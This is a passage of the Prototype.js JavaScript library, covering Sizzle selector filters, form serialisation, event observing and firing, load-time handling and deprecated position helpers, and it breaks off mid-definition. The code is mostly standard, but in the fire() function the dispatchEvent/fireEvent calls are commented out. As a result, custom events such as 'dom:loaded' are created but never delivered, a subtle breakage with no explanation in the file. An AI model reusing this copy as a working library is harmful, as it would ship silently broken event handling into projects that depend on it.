button: function(elem){
return "button" === elem.type || elem.nodeName.toUpperCase() === "BUTTON";
},
input: function(elem){
return /input|select|textarea|button/i.test(elem.nodeName);
}
},
setFilters: {
first: function(elem, i){
return i === 0;
},
last: function(elem, i, match, array){
return i === array.length - 1;
},
even: function(elem, i){
return i % 2 === 0;
},
odd: function(elem, i){
return i % 2 === 1;
},
lt: function(elem, i, match){
return i < match[3] - 0;
},
gt: function(elem, i, match){
return i > match[3] - 0;
},
nth: function(elem, i, match){
return match[3] - 0 == i;
},
eq: function(elem, i, match){
return match[3] - 0 == i;
}
},
filter: {
PSEUDO: function(elem, match, i, array){
var name = match[1], filter = Expr.filters[ name ];
if ( filter ) {
return filter( elem, i, match, array );
} else if ( name === "contains" ) {
return (elem.textContent || elem.innerText || "").indexOf(match[3]) >= 0;
} else if ( name === "not" ) {
var not = match[3];
for ( var i = 0, l = not.length; i < l; i++ ) {
if ( not[i] === elem ) {
return false;
}
}
return true;
}
},
CHILD: function(elem, match){
var type = match[1], node = elem;
switch (type) {
case 'only':
case 'first':
while ( (node = node.previousSibling) ) {
if ( node.nodeType === 1 ) return false;
}
if ( type == 'first') return true;
node = elem;
case 'last':
while ( (node = node.nextSibling) ) {
if ( node.nodeType === 1 ) return false;
}
return true;
case 'nth':
var first = match[2], last = match[3];
if ( first == 1 && last == 0 ) {
return true;
}
var doneName = match[0],
parent = elem.parentNode;
if ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) {
var count = 0;
for ( node = parent.firstChild; node; node = node.nextSibling ) {
if ( node.nodeType === 1 ) {
node.nodeIndex = ++count;
}
}
parent.sizcache = doneName;
}
var diff = elem.nodeIndex - last;
if ( first == 0 ) {
return diff == 0;
} else {
return ( diff % first == 0 && diff / first >= 0 );
}
}
},
ID: function(elem, match){
return elem.nodeType === 1 && elem.getAttribute("id") === match;
},
TAG: function(elem, match){
return (match === "*" && elem.nodeType === 1) || elem.nodeName === match;
},
CLASS: function(elem, match){
return (" " + (elem.className || elem.getAttribute("class")) + " ")
.indexOf( match ) > -1;
},
ATTR: function(elem, match){
var name = match[1],
result = Expr.attrHandle[ name ] ?
Expr.attrHandle[ name ]( elem ) :
elem[ name ] != null ?
elem[ name ] :
elem.getAttribute( name ),
value = result + "",
type = match[2],
check = match[4];
return result == null ?
type === "!=" :
type === "=" ?
value === check :
type === "*=" ?
value.indexOf(check) >= 0 :
type === "~=" ?
(" " + value + " ").indexOf(check) >= 0 :
!check ?
value && result !== false :
type === "!=" ?
value != check :
type === "^=" ?
value.indexOf(check) === 0 :
type === "$=" ?
value.substr(value.length - check.length) === check :
type === "|=" ?
value === check || value.substr(0, check.length + 1) === check + "-" :
false;
},
POS: function(elem, match, i, array){
var name = match[2], filter = Expr.setFilters[ name ];
if ( filter ) {
return filter( elem, i, match, array );
}
}
}
};
var origPOS = Expr.match.POS;
for ( var type in Expr.match ) {
Expr.match[ type ] = new RegExp( Expr.match[ type ].source + /(?![^\[]*\])(?![^\(]*\))/.source );
Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source );
}
var makeArray = function(array, results) {
array = Array.prototype.slice.call( array, 0 );
if ( results ) {
results.push.apply( results, array );
return results;
}
return array;
};
try {
Array.prototype.slice.call( document.documentElement.childNodes, 0 );
} catch(e){
makeArray = function(array, results) {
var ret = results || [];
if ( toString.call(array) === "[object Array]" ) {
Array.prototype.push.apply( ret, array );
} else {
if ( typeof array.length === "number" ) {
for ( var i = 0, l = array.length; i < l; i++ ) {
ret.push( array[i] );
}
} else {
for ( var i = 0; array[i]; i++ ) {
ret.push( array[i] );
}
}
}
return ret;
};
}
var sortOrder;
if ( document.documentElement.compareDocumentPosition ) {
sortOrder = function( a, b ) {
if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
if ( a == b ) {
hasDuplicate = true;
}
return 0;
}
var ret = a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1;
if ( ret === 0 ) {
hasDuplicate = true;
}
return ret;
};
} else if ( "sourceIndex" in document.documentElement ) {
sortOrder = function( a, b ) {
if ( !a.sourceIndex || !b.sourceIndex ) {
if ( a == b ) {
hasDuplicate = true;
}
return 0;
}
var ret = a.sourceIndex - b.sourceIndex;
if ( ret === 0 ) {
hasDuplicate = true;
}
return ret;
};
} else if ( document.createRange ) {
sortOrder = function( a, b ) {
if ( !a.ownerDocument || !b.ownerDocument ) {
if ( a == b ) {
hasDuplicate = true;
}
return 0;
}
var aRange = a.ownerDocument.createRange(), bRange = b.ownerDocument.createRange();
aRange.setStart(a, 0);
aRange.setEnd(a, 0);
bRange.setStart(b, 0);
bRange.setEnd(b, 0);
var ret = aRange.compareBoundaryPoints(Range.START_TO_END, bRange);
if ( ret === 0 ) {
hasDuplicate = true;
}
return ret;
};
}
(function(){
var form = document.createElement("div"),
id = "script" + (new Date).getTime();
form.innerHTML = "<a name='" + id + "'/>";
var root = document.documentElement;
root.insertBefore( form, root.firstChild );
if ( !!document.getElementById( id ) ) {
Expr.find.ID = function(match, context, isXML){
if ( typeof context.getElementById !== "undefined" && !isXML ) {
var m = context.getElementById(match[1]);
return m ? m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? [m] : undefined : [];
}
};
Expr.filter.ID = function(elem, match){
var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
return elem.nodeType === 1 && node && node.nodeValue === match;
};
}
root.removeChild( form );
root = form = null; // release memory in IE
})();
(function(){
var div = document.createElement("div");
div.appendChild( document.createComment("") );
if ( div.getElementsByTagName("*").length > 0 ) {
Expr.find.TAG = function(match, context){
var results = context.getElementsByTagName(match[1]);
if ( match[1] === "*" ) {
var tmp = [];
for ( var i = 0; results[i]; i++ ) {
if ( results[i].nodeType === 1 ) {
tmp.push( results[i] );
}
}
results = tmp;
}
return results;
};
}
div.innerHTML = "<a href='#'></a>";
if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
div.firstChild.getAttribute("href") !== "#" ) {
Expr.attrHandle.href = function(elem){
return elem.getAttribute("href", 2);
};
}
div = null; // release memory in IE
})();
if ( document.querySelectorAll ) (function(){
var oldSizzle = Sizzle, div = document.createElement("div");
div.innerHTML = "<p class='TEST'></p>";
if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
return;
}
Sizzle = function(query, context, extra, seed){
context = context || document;
if ( !seed && context.nodeType === 9 && !isXML(context) ) {
try {
return makeArray( context.querySelectorAll(query), extra );
} catch(e){}
}
return oldSizzle(query, context, extra, seed);
};
for ( var prop in oldSizzle ) {
Sizzle[ prop ] = oldSizzle[ prop ];
}
div = null; // release memory in IE
})();
if ( document.getElementsByClassName && document.documentElement.getElementsByClassName ) (function(){
var div = document.createElement("div");
div.innerHTML = "<div class='test e'></div><div class='test'></div>";
if ( div.getElementsByClassName("e").length === 0 )
return;
div.lastChild.className = "e";
if ( div.getElementsByClassName("e").length === 1 )
return;
Expr.order.splice(1, 0, "CLASS");
Expr.find.CLASS = function(match, context, isXML) {
if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
return context.getElementsByClassName(match[1]);
}
};
div = null; // release memory in IE
})();
function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
var sibDir = dir == "previousSibling" && !isXML;
for ( var i = 0, l = checkSet.length; i < l; i++ ) {
var elem = checkSet[i];
if ( elem ) {
if ( sibDir && elem.nodeType === 1 ){
elem.sizcache = doneName;
elem.sizset = i;
}
elem = elem[dir];
var match = false;
while ( elem ) {
if ( elem.sizcache === doneName ) {
match = checkSet[elem.sizset];
break;
}
if ( elem.nodeType === 1 && !isXML ){
elem.sizcache = doneName;
elem.sizset = i;
}
if ( elem.nodeName === cur ) {
match = elem;
break;
}
elem = elem[dir];
}
checkSet[i] = match;
}
}
}
function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
var sibDir = dir == "previousSibling" && !isXML;
for ( var i = 0, l = checkSet.length; i < l; i++ ) {
var elem = checkSet[i];
if ( elem ) {
if ( sibDir && elem.nodeType === 1 ) {
elem.sizcache = doneName;
elem.sizset = i;
}
elem = elem[dir];
var match = false;
while ( elem ) {
if ( elem.sizcache === doneName ) {
match = checkSet[elem.sizset];
break;
}
if ( elem.nodeType === 1 ) {
if ( !isXML ) {
elem.sizcache = doneName;
elem.sizset = i;
}
if ( typeof cur !== "string" ) {
if ( elem === cur ) {
match = true;
break;
}
} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
match = elem;
break;
}
}
elem = elem[dir];
}
checkSet[i] = match;
}
}
}
var contains = document.compareDocumentPosition ? function(a, b){
return a.compareDocumentPosition(b) & 16;
} : function(a, b){
return a !== b && (a.contains ? a.contains(b) : true);
};
var isXML = function(elem){
return elem.nodeType === 9 && elem.documentElement.nodeName !== "HTML" ||
!!elem.ownerDocument && elem.ownerDocument.documentElement.nodeName !== "HTML";
};
var posProcess = function(selector, context){
var tmpSet = [], later = "", match,
root = context.nodeType ? [context] : context;
while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
later += match[0];
selector = selector.replace( Expr.match.PSEUDO, "" );
}
selector = Expr.relative[selector] ? selector + "*" : selector;
for ( var i = 0, l = root.length; i < l; i++ ) {
Sizzle( selector, root[i], tmpSet );
}
return Sizzle.filter( later, tmpSet );
};
window.Sizzle = Sizzle;
})();
;(function(engine) {
var extendElements = Prototype.Selector.extendElements;
function select(selector, scope) {
return extendElements(engine(selector, scope || document));
}
function match(element, selector) {
return engine.matches(selector, [element]).length == 1;
}
Prototype.Selector.engine = engine;
Prototype.Selector.select = select;
Prototype.Selector.match = match;
})(Sizzle);
window.Sizzle = Prototype._original_property;
delete Prototype._original_property;
var Form = {
reset: function(form) {
form = $(form);
form.reset();
return form;
},
serializeElements: function(elements, options) {
if (typeof options != 'object') options = { hash: !!options };
else if (Object.isUndefined(options.hash)) options.hash = true;
var key, value, submitted = false, submit = options.submit, accumulator, initial;
if (options.hash) {
initial = {};
accumulator = function(result, key, value) {
if (key in result) {
if (!Object.isArray(result[key])) result[key] = [result[key]];
result[key].push(value);
} else result[key] = value;
return result;
};
} else {
initial = '';
accumulator = function(result, key, value) {
return result + (result ? '&' : '') + encodeURIComponent(key) + '=' + encodeURIComponent(value);
}
}
return elements.inject(initial, function(result, element) {
if (!element.disabled && element.name) {
key = element.name; value = $(element).getValue();
if (value != null && element.type != 'file' && (element.type != 'submit' || (!submitted &&
submit !== false && (!submit || key == submit) && (submitted = true)))) {
result = accumulator(result, key, value);
}
}
return result;
});
}
};
Form.Methods = {
serialize: function(form, options) {
return Form.serializeElements(Form.getElements(form), options);
},
getElements: function(form) {
var elements = $(form).getElementsByTagName('*'),
element,
arr = [ ],
serializers = Form.Element.Serializers;
for (var i = 0; element = elements[i]; i++) {
arr.push(element);
}
return arr.inject([], function(elements, child) {
if (serializers[child.tagName.toLowerCase()])
elements.push(Element.extend(child));
return elements;
})
},
getInputs: function(form, typeName, name) {
form = $(form);
var inputs = form.getElementsByTagName('input');
if (!typeName && !name) return $A(inputs).map(Element.extend);
for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
var input = inputs[i];
if ((typeName && input.type != typeName) || (name && input.name != name))
continue;
matchingInputs.push(Element.extend(input));
}
return matchingInputs;
},
disable: function(form) {
form = $(form);
Form.getElements(form).invoke('disable');
return form;
},
enable: function(form) {
form = $(form);
Form.getElements(form).invoke('enable');
return form;
},
findFirstElement: function(form) {
var elements = $(form).getElements().findAll(function(element) {
return 'hidden' != element.type && !element.disabled;
});
var firstByIndex = elements.findAll(function(element) {
return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
}).sortBy(function(element) { return element.tabIndex }).first();
return firstByIndex ? firstByIndex : elements.find(function(element) {
return /^(?:input|select|textarea)$/i.test(element.tagName);
});
},
focusFirstElement: function(form) {
form = $(form);
var element = form.findFirstElement();
if (element) element.activate();
return form;
},
request: function(form, options) {
form = $(form), options = Object.clone(options || { });
var params = options.parameters, action = form.readAttribute('action') || '';
if (action.blank()) action = window.location.href;
options.parameters = form.serialize(true);
if (params) {
if (Object.isString(params)) params = params.toQueryParams();
Object.extend(options.parameters, params);
}
if (form.hasAttribute('method') && !options.method)
options.method = form.method;
return new Ajax.Request(action, options);
}
};
/*--------------------------------------------------------------------------*/
Form.Element = {
focus: function(element) {
$(element).focus();
return element;
},
select: function(element) {
$(element).select();
return element;
}
};
Form.Element.Methods = {
serialize: function(element) {
element = $(element);
if (!element.disabled && element.name) {
var value = element.getValue();
if (value != undefined) {
var pair = { };
pair[element.name] = value;
return Object.toQueryString(pair);
}
}
return '';
},
getValue: function(element) {
element = $(element);
var method = element.tagName.toLowerCase();
return Form.Element.Serializers[method](element);
},
setValue: function(element, value) {
element = $(element);
var method = element.tagName.toLowerCase();
Form.Element.Serializers[method](element, value);
return element;
},
clear: function(element) {
$(element).value = '';
return element;
},
present: function(element) {
return $(element).value != '';
},
activate: function(element) {
element = $(element);
try {
element.focus();
if (element.select && (element.tagName.toLowerCase() != 'input' ||
!(/^(?:button|reset|submit)$/i.test(element.type))))
element.select();
} catch (e) { }
return element;
},
disable: function(element) {
element = $(element);
element.disabled = true;
return element;
},
enable: function(element) {
element = $(element);
element.disabled = false;
return element;
}
};
/*--------------------------------------------------------------------------*/
var Field = Form.Element;
var $F = Form.Element.Methods.getValue;
/*--------------------------------------------------------------------------*/
Form.Element.Serializers = (function() {
function input(element, value) {
switch (element.type.toLowerCase()) {
case 'checkbox':
case 'radio':
return inputSelector(element, value);
default:
return valueSelector(element, value);
}
}
function inputSelector(element, value) {
if (Object.isUndefined(value))
return element.checked ? element.value : null;
else element.checked = !!value;
}
function valueSelector(element, value) {
if (Object.isUndefined(value)) return element.value;
else element.value = value;
}
function select(element, value) {
if (Object.isUndefined(value))
return (element.type === 'select-one' ? selectOne : selectMany)(element);
var opt, currentValue, single = !Object.isArray(value);
for (var i = 0, length = element.length; i < length; i++) {
opt = element.options[i];
currentValue = this.optionValue(opt);
if (single) {
if (currentValue == value) {
opt.selected = true;
return;
}
}
else opt.selected = value.include(currentValue);
}
}
function selectOne(element) {
var index = element.selectedIndex;
return index >= 0 ? optionValue(element.options[index]) : null;
}
function selectMany(element) {
var values, length = element.length;
if (!length) return null;
for (var i = 0, values = []; i < length; i++) {
var opt = element.options[i];
if (opt.selected) values.push(optionValue(opt));
}
return values;
}
function optionValue(opt) {
return Element.hasAttribute(opt, 'value') ? opt.value : opt.text;
}
return {
input: input,
inputSelector: inputSelector,
textarea: valueSelector,
select: select,
selectOne: selectOne,
selectMany: selectMany,
optionValue: optionValue,
button: valueSelector
};
})();
/*--------------------------------------------------------------------------*/
Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
initialize: function($super, element, frequency, callback) {
$super(callback, frequency);
this.element = $(element);
this.lastValue = this.getValue();
},
execute: function() {
var value = this.getValue();
if (Object.isString(this.lastValue) && Object.isString(value) ?
this.lastValue != value : String(this.lastValue) != String(value)) {
this.callback(this.element, value);
this.lastValue = value;
}
}
});
Form.Element.Observer = Class.create(Abstract.TimedObserver, {
getValue: function() {
return Form.Element.getValue(this.element);
}
});
Form.Observer = Class.create(Abstract.TimedObserver, {
getValue: function() {
return Form.serialize(this.element);
}
});
/*--------------------------------------------------------------------------*/
Abstract.EventObserver = Class.create({
initialize: function(element, callback) {
this.element = $(element);
this.callback = callback;
this.lastValue = this.getValue();
if (this.element.tagName.toLowerCase() == 'form')
this.registerFormCallbacks();
else
this.registerCallback(this.element);
},
onElementEvent: function() {
var value = this.getValue();
if (this.lastValue != value) {
this.callback(this.element, value);
this.lastValue = value;
}
},
registerFormCallbacks: function() {
Form.getElements(this.element).each(this.registerCallback, this);
},
registerCallback: function(element) {
if (element.type) {
switch (element.type.toLowerCase()) {
case 'checkbox':
case 'radio':
Event.observe(element, 'click', this.onElementEvent.bind(this));
break;
default:
Event.observe(element, 'change', this.onElementEvent.bind(this));
break;
}
}
}
});
Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
getValue: function() {
return Form.Element.getValue(this.element);
}
});
Form.EventObserver = Class.create(Abstract.EventObserver, {
getValue: function() {
return Form.serialize(this.element);
}
});
(function() {
var Event = {
KEY_BACKSPACE: 8,
KEY_TAB: 9,
KEY_RETURN: 13,
KEY_ESC: 27,
KEY_LEFT: 37,
KEY_UP: 38,
KEY_RIGHT: 39,
KEY_DOWN: 40,
KEY_DELETE: 46,
KEY_HOME: 36,
KEY_END: 35,
KEY_PAGEUP: 33,
KEY_PAGEDOWN: 34,
KEY_INSERT: 45,
cache: {}
};
var docEl = document.documentElement;
var MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED = 'onmouseenter' in docEl
&& 'onmouseleave' in docEl;
var isIELegacyEvent = function(event) { return false; };
if (window.attachEvent) {
if (window.addEventListener) {
isIELegacyEvent = function(event) {
return !(event instanceof window.Event);
};
} else {
isIELegacyEvent = function(event) { return true; };
}
}
var _isButton;
function _isButtonForDOMEvents(event, code) {
return event.which ? (event.which === code + 1) : (event.button === code);
}
var legacyButtonMap = { 0: 1, 1: 4, 2: 2 };
function _isButtonForLegacyEvents(event, code) {
return event.button === legacyButtonMap[code];
}
function _isButtonForWebKit(event, code) {
switch (code) {
case 0: return event.which == 1 && !event.metaKey;
case 1: return event.which == 2 || (event.which == 1 && event.metaKey);
case 2: return event.which == 3;
default: return false;
}
}
if (window.attachEvent) {
if (!window.addEventListener) {
_isButton = _isButtonForLegacyEvents;
} else {
_isButton = function(event, code) {
return isIELegacyEvent(event) ? _isButtonForLegacyEvents(event, code) :
_isButtonForDOMEvents(event, code);
}
}
} else if (Prototype.Browser.WebKit) {
_isButton = _isButtonForWebKit;
} else {
_isButton = _isButtonForDOMEvents;
}
function isLeftClick(event) { return _isButton(event, 0) }
function isMiddleClick(event) { return _isButton(event, 1) }
function isRightClick(event) { return _isButton(event, 2) }
function element(event) {
event = Event.extend(event);
var node = event.target, type = event.type,
currentTarget = event.currentTarget;
if (currentTarget && currentTarget.tagName) {
if (type === 'load' || type === 'error' ||
(type === 'click' && currentTarget.tagName.toLowerCase() === 'input'
&& currentTarget.type === 'radio'))
node = currentTarget;
}
if (node.nodeType == Node.TEXT_NODE)
node = node.parentNode;
return Element.extend(node);
}
function findElement(event, expression) {
var element = Event.element(event);
if (!expression) return element;
while (element) {
if (Object.isElement(element) && Prototype.Selector.match(element, expression)) {
return Element.extend(element);
}
element = element.parentNode;
}
}
function pointer(event) {
return { x: pointerX(event), y: pointerY(event) };
}
function pointerX(event) {
var docElement = document.documentElement,
body = document.body || { scrollLeft: 0 };
return event.pageX || (event.clientX +
(docElement.scrollLeft || body.scrollLeft) -
(docElement.clientLeft || 0));
}
function pointerY(event) {
var docElement = document.documentElement,
body = document.body || { scrollTop: 0 };
return event.pageY || (event.clientY +
(docElement.scrollTop || body.scrollTop) -
(docElement.clientTop || 0));
}
function stop(event) {
Event.extend(event);
event.preventDefault();
event.stopPropagation();
event.stopped = true;
}
Event.Methods = {
isLeftClick: isLeftClick,
isMiddleClick: isMiddleClick,
isRightClick: isRightClick,
element: element,
findElement: findElement,
pointer: pointer,
pointerX: pointerX,
pointerY: pointerY,
stop: stop
};
var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
m[name] = Event.Methods[name].methodize();
return m;
});
if (window.attachEvent) {
function _relatedTarget(event) {
var element;
switch (event.type) {
case 'mouseover':
case 'mouseenter':
element = event.fromElement;
break;
case 'mouseout':
case 'mouseleave':
element = event.toElement;
break;
default:
return null;
}
return Element.extend(element);
}
var additionalMethods = {
stopPropagation: function() { this.cancelBubble = true },
preventDefault: function() { this.returnValue = false },
inspect: function() { return '[object Event]' }
};
Event.extend = function(event, element) {
if (!event) return false;
if (!isIELegacyEvent(event)) return event;
if (event._extendedByPrototype) return event;
event._extendedByPrototype = Prototype.emptyFunction;
var pointer = Event.pointer(event);
Object.extend(event, {
target: event.srcElement || element,
relatedTarget: _relatedTarget(event),
pageX: pointer.x,
pageY: pointer.y
});
Object.extend(event, methods);
Object.extend(event, additionalMethods);
return event;
};
} else {
Event.extend = Prototype.K;
}
if (window.addEventListener) {
Event.prototype = window.Event.prototype || document.createEvent('HTMLEvents').__proto__;
Object.extend(Event.prototype, methods);
}
function _createResponder(element, eventName, handler) {
var registry = Element.retrieve(element, 'prototype_event_registry');
if (Object.isUndefined(registry)) {
CACHE.push(element);
registry = Element.retrieve(element, 'prototype_event_registry', $H());
}
var respondersForEvent = registry.get(eventName);
if (Object.isUndefined(respondersForEvent)) {
respondersForEvent = [];
registry.set(eventName, respondersForEvent);
}
if (respondersForEvent.pluck('handler').include(handler)) return false;
var responder;
if (eventName.include(":")) {
responder = function(event) {
if (Object.isUndefined(event.eventName))
return false;
if (event.eventName !== eventName)
return false;
Event.extend(event, element);
handler.call(element, event);
};
} else {
if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED &&
(eventName === "mouseenter" || eventName === "mouseleave")) {
if (eventName === "mouseenter" || eventName === "mouseleave") {
responder = function(event) {
Event.extend(event, element);
var parent = event.relatedTarget;
while (parent && parent !== element) {
try { parent = parent.parentNode; }
catch(e) { parent = element; }
}
if (parent === element) return;
handler.call(element, event);
};
}
} else {
responder = function(event) {
Event.extend(event, element);
handler.call(element, event);
};
}
}
responder.handler = handler;
respondersForEvent.push(responder);
return responder;
}
function _destroyCache() {
for (var i = 0, length = CACHE.length; i < length; i++) {
Event.stopObserving(CACHE[i]);
CACHE[i] = null;
}
}
var CACHE = [];
if (Prototype.Browser.IE)
window.attachEvent('onunload', _destroyCache);
if (Prototype.Browser.WebKit)
window.addEventListener('unload', Prototype.emptyFunction, false);
var _getDOMEventName = Prototype.K,
translations = { mouseenter: "mouseover", mouseleave: "mouseout" };
if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED) {
_getDOMEventName = function(eventName) {
return (translations[eventName] || eventName);
};
}
function observe(element, eventName, handler) {
element = $(element);
var responder = _createResponder(element, eventName, handler);
if (!responder) return element;
if (eventName.include(':')) {
if (element.addEventListener)
element.addEventListener("dataavailable", responder, false);
else {
element.attachEvent("ondataavailable", responder);
element.attachEvent("onlosecapture", responder);
}
} else {
var actualEventName = _getDOMEventName(eventName);
if (element.addEventListener)
element.addEventListener(actualEventName, responder, false);
else
element.attachEvent("on" + actualEventName, responder);
}
return element;
}
function stopObserving(element, eventName, handler) {
element = $(element);
var registry = Element.retrieve(element, 'prototype_event_registry');
if (!registry) return element;
if (!eventName) {
registry.each( function(pair) {
var eventName = pair.key;
stopObserving(element, eventName);
});
return element;
}
var responders = registry.get(eventName);
if (!responders) return element;
if (!handler) {
responders.each(function(r) {
stopObserving(element, eventName, r.handler);
});
return element;
}
var i = responders.length, responder;
while (i--) {
if (responders[i].handler === handler) {
responder = responders[i];
break;
}
}
if (!responder) return element;
if (eventName.include(':')) {
if (element.removeEventListener)
element.removeEventListener("dataavailable", responder, false);
else {
element.detachEvent("ondataavailable", responder);
element.detachEvent("onlosecapture", responder);
}
} else {
var actualEventName = _getDOMEventName(eventName);
if (element.removeEventListener)
element.removeEventListener(actualEventName, responder, false);
else
element.detachEvent('on' + actualEventName, responder);
}
registry.set(eventName, responders.without(responder));
return element;
}
function fire(element, eventName, memo, bubble) {
element = $(element);
if (Object.isUndefined(bubble))
bubble = true;
if (element == document && document.createEvent && !element.dispatchEvent)
element = document.documentElement;
var event;
if (document.createEvent) {
event = document.createEvent('HTMLEvents');
event.initEvent('dataavailable', bubble, true);
} else {
event = document.createEventObject();
event.eventType = bubble ? 'ondataavailable' : 'onlosecapture';
}
event.eventName = eventName;
event.memo = memo || { };
/*if (document.createEvent)
element.dispatchEvent(event);
else
element.fireEvent(event.eventType, event);
*/
return Event.extend(event);
}
Event.Handler = Class.create({
initialize: function(element, eventName, selector, callback) {
this.element = $(element);
this.eventName = eventName;
this.selector = selector;
this.callback = callback;
this.handler = this.handleEvent.bind(this);
},
start: function() {
Event.observe(this.element, this.eventName, this.handler);
return this;
},
stop: function() {
Event.stopObserving(this.element, this.eventName, this.handler);
return this;
},
handleEvent: function(event) {
var element = Event.findElement(event, this.selector);
if (element) this.callback.call(this.element, event, element);
}
});
function on(element, eventName, selector, callback) {
element = $(element);
if (Object.isFunction(selector) && Object.isUndefined(callback)) {
callback = selector, selector = null;
}
return new Event.Handler(element, eventName, selector, callback).start();
}
Object.extend(Event, Event.Methods);
Object.extend(Event, {
fire: fire,
observe: observe,
stopObserving: stopObserving,
on: on
});
Element.addMethods({
fire: fire,
observe: observe,
stopObserving: stopObserving,
on: on
});
Object.extend(document, {
fire: fire.methodize(),
observe: observe.methodize(),
stopObserving: stopObserving.methodize(),
on: on.methodize(),
loaded: false
});
if (window.Event) Object.extend(window.Event, Event);
else window.Event = Event;
})();
(function() {
/* Support for the DOMContentLoaded event is based on work by Dan Webb,
Matthias Miller, Dean Edwards, John Resig, and Diego Perini. */
var timer;
function fireContentLoadedEvent() {
if (document.loaded) return;
if (timer) window.clearTimeout(timer);
document.loaded = true;
document.fire('dom:loaded');
}
function checkReadyState() {
if (document.readyState === 'complete') {
document.stopObserving('readystatechange', checkReadyState);
fireContentLoadedEvent();
}
}
function pollDoScroll() {
try { document.documentElement.doScroll('left'); }
catch(e) {
timer = pollDoScroll.defer();
return;
}
fireContentLoadedEvent();
}
if (document.addEventListener) {
document.addEventListener('DOMContentLoaded', fireContentLoadedEvent, false);
} else {
document.observe('readystatechange', checkReadyState);
if (window == top)
timer = pollDoScroll.defer();
}
Event.observe(window, 'load', fireContentLoadedEvent);
})();
Element.addMethods();
/*------------------------------- DEPRECATED -------------------------------*/
Hash.toQueryString = Object.toQueryString;
var Toggle = { display: Element.toggle };
Element.Methods.childOf = Element.Methods.descendantOf;
var Insertion = {
Before: function(element, content) {
return Element.insert(element, {before:content});
},
Top: function(element, content) {
return Element.insert(element, {top:content});
},
Bottom: function(element, content) {
return Element.insert(element, {bottom:content});
},
After: function(element, content) {
return Element.insert(element, {after:content});
}
};
var $continue = new Error('"throw $continue" is deprecated, use "return" instead');
var Position = {
includeScrollOffsets: false,
prepare: function() {
this.deltaX = window.pageXOffset
|| document.documentElement.scrollLeft
|| document.body.scrollLeft
|| 0;
this.deltaY = window.pageYOffset
|| document.documentElement.scrollTop
|| document.body.scrollTop
|| 0;
},
within: function(element, x, y) {
if (this.includeScrollOffsets)
return this.withinIncludingScrolloffsets(element, x, y);
this.xcomp = x;
this.ycomp = y;
this.offset = Element.cumulativeOffset(element);
return (y >= this.offset[1] &&
y < this.offset[1] + element.offsetHeight &&
x >= this.offset[0] &&
x < this.offset[0] + element.offsetWidth);
},
withinIncludingScrolloffsets: function(element, x, y) {
var offsetcache = Element.cumulativeScrollOffset(element);
this.xcomp = x + offsetcache[0] - this.deltaX;
this.ycomp = y + offsetcache[1] - this.deltaY;
this.offset = Element.cumulativeOffset(element);
return (this.ycomp >= this.offset[1] &&
this.ycomp < this.offset[1] + element.offsetHeight &&
this.xcomp >= this.offset[0] &&
this.xcomp < this.offset[0] + element.offsetWidth);
},
overlap: function(mode, element) {
if (!mode) return 0;
if (mode == 'vertical')
return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
element.offsetHeight;
if (mode == 'horizontal')
return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
element.offsetWidth;
},
cumulativeOffset: Element.Methods.cumulativeOffset,
positionedOffset: Element.Methods.positionedOffset,
absolutize: function(element) {
Position.prepare();
return Element.absolutize(element);
},
relativize: function(element) {
Position.prepare();
return Element.relativize(element);
},
realOffset: Element.Methods.cumulativeScrollOffset,
offsetParent: Element.Methods.getOffsetParent,
page: Element.Methods.viewportOffset,
clone: function(source, target, options) {
options = options || { };
return Element.clonePosition(target, source, options);
}
};
/*--------------------------------------------------------------------------*/
if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
function iter(name) {
return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
}
instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
function(element, className) {
className = className.toString().strip();
var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
} : function(element, className) {
className = className.toString().strip();
var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
if (!classNames && !className) return elements;
var nodes = $(element).getElementsByTagName('*');
className = ' ' + className + ' ';
for (var i = 0, child, cn; child = nodes[i]; i++) {
if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
(classNames && classNames.all(function(name) {
return !name.toString().blank() && cn.include(' ' + name + ' ');
}))))
elements.push(Element.extend(child));
}
return elements;
};
return function(className, parentElement) {
return $(parentElement || document.body).getElementsByClassName(className);
};
}(Element.Methods);
/*--------------------------------------------------------------------------*/
Element.ClassNames = Class.create();
Element.ClassNames.prototype = {
initialize: function(element) {
this.element = $(element);
},
_each: function(iterator) {
this.element.className.split(/\s+/).select(function(name) {
return name.length > 0;
})._each(iterator);
},
set: function(className) {
this.element.className = className;
},
add: function(classNameToAdd) {
if (this.include(classNameToAdd)) return;
this.set($A(this).concat(classNameToAdd).join(' '));
},
remove: function(classNameToRemove) {
if (!this.include(classNameToRemove)) return;
this.set($A(this).without(classNameToRemove).join(' '));
},
toString: function() {
return $A(this).join(' ');
}
};
Object.extend(Element.ClassNames.prototype, Enumerable);
/*--------------------------------------------------------------------------*/
(function() {
window.Selector = Class.create({
initialize: function(expression) {
this.expression = expression.strip();
},
findElements: function(rootElement) {
return Prototype.Selector.select(this.expression, rootElement);
},
match: function(element) {
return Prototype.Selector.match(element, this.expression);
},
toString: function() {
return this.expression;
},
inspect: function() {
